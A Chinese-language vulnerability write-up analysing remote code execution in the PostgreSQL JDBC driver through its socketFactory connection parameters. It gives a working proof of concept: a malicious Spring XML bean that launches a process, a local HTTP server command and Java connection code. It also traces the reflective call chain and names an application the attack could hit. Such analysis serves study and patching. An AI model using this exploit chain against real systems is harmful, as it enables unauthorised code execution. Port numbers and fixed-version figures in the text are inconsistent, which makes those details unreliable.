PostgreSQL JDBC Driver RCE 学习
字数 1392 2025-09-01 11:26:17
PostgreSQL JDBC Driver RCE漏洞分析与复现
漏洞概述
PostgreSQL JDBC驱动存在远程代码执行漏洞,攻击者可以通过构造恶意的JDBC连接字符串,利用Spring框架的ClassPathXmlApplicationContext类加载远程XML配置文件,从而执行任意代码。
影响版本
- PostgreSQL JDBC驱动版本 < 42.2.25
- PostgreSQL JDBC驱动版本 >= 42.3.0 且 < 42.3.2
漏洞复现
环境准备
- 依赖配置 (pom.xml):
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version> <!-- 漏洞版本 -->
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.20</version>
</dependency>
- 恶意XML文件 (test.xml):
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
- 启动HTTP服务:
python -m http.server 9090
漏洞利用代码
public class PostgreJdbcRce {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/test.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=" + socketFactoryClass +
"&socketFactoryArg=" + socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl, "postgres", "root");
}
}
利用过程说明
-
构造JDBC连接字符串,其中包含:
socketFactory参数设置为org.springframework.context.support.ClassPathXmlApplicationContextsocketFactoryArg参数设置为恶意XML文件的URL
-
当应用程序尝试建立数据库连接时,PostgreSQL JDBC驱动会解析这些参数
-
驱动通过反射机制实例化
ClassPathXmlApplicationContext类,加载并解析远程XML文件 -
XML文件中定义的
ProcessBuilderbean被初始化,执行指定的命令(如弹出计算器)
漏洞分析
关键漏洞点
漏洞的核心在于ObjectFactory.instantiate()方法中的反射调用:
public static Object instantiate(String classname, Properties info, boolean tryString, String stringarg)
throws ClassNotFoundException, SecurityException, NoSuchMethodException,
IllegalArgumentException, InstantiationException, IllegalAccessException,
InvocationTargetException {
Object[] args = new Object[]{info};
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);
try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException var9) {
}
if (tryString && ctor == null) {
try {
ctor = cls.getConstructor(String.class);
args = new String[]{stringarg};
} catch (NoSuchMethodException var8) {
}
}
if (ctor == null) {
ctor = cls.getConstructor();
args = new Object[0];
}
return ctor.newInstance(args);
}
调用链分析
-
URL解析:
Driver.connect()方法调用parseURL()解析JDBC连接字符串- 提取出
socketFactory和socketFactoryArg等参数
-
参数传递:
- 解析后的参数存储在
Properties对象中 - 通过
connectionFactory.openConnectionImpl()传递
- 解析后的参数存储在
-
反射调用:
SocketFactoryFactory.getSocketFactory()调用ObjectFactory.instantiate()- 使用反射实例化
socketFactory参数指定的类(如ClassPathXmlApplicationContext) - 将
socketFactoryArg作为参数传递给构造函数
-
恶意XML加载:
ClassPathXmlApplicationContext加载并解析远程XML- XML中定义的恶意bean被初始化执行命令
修复方案
在PostgreSQL JDBC驱动42.5.0及更高版本中,已移除SocketFactoryFactory的使用方式,从根本上修复了此漏洞。建议用户升级到安全版本:
- 升级到PostgreSQL JDBC驱动 >= 42.2.25
- 或 >= 42.3.2
总结
该漏洞的关键点在于:
- JDBC连接字符串参数可控
- 通过
socketFactory和socketFactoryArg参数可以指定任意类和构造参数 - 驱动内部使用反射机制实例化指定类
- 结合Spring框架的XML配置加载功能实现RCE
这种攻击方式在类似契约锁等使用PostgreSQL JDBC驱动的应用中可能被利用,需要特别注意参数过滤和组件版本更新。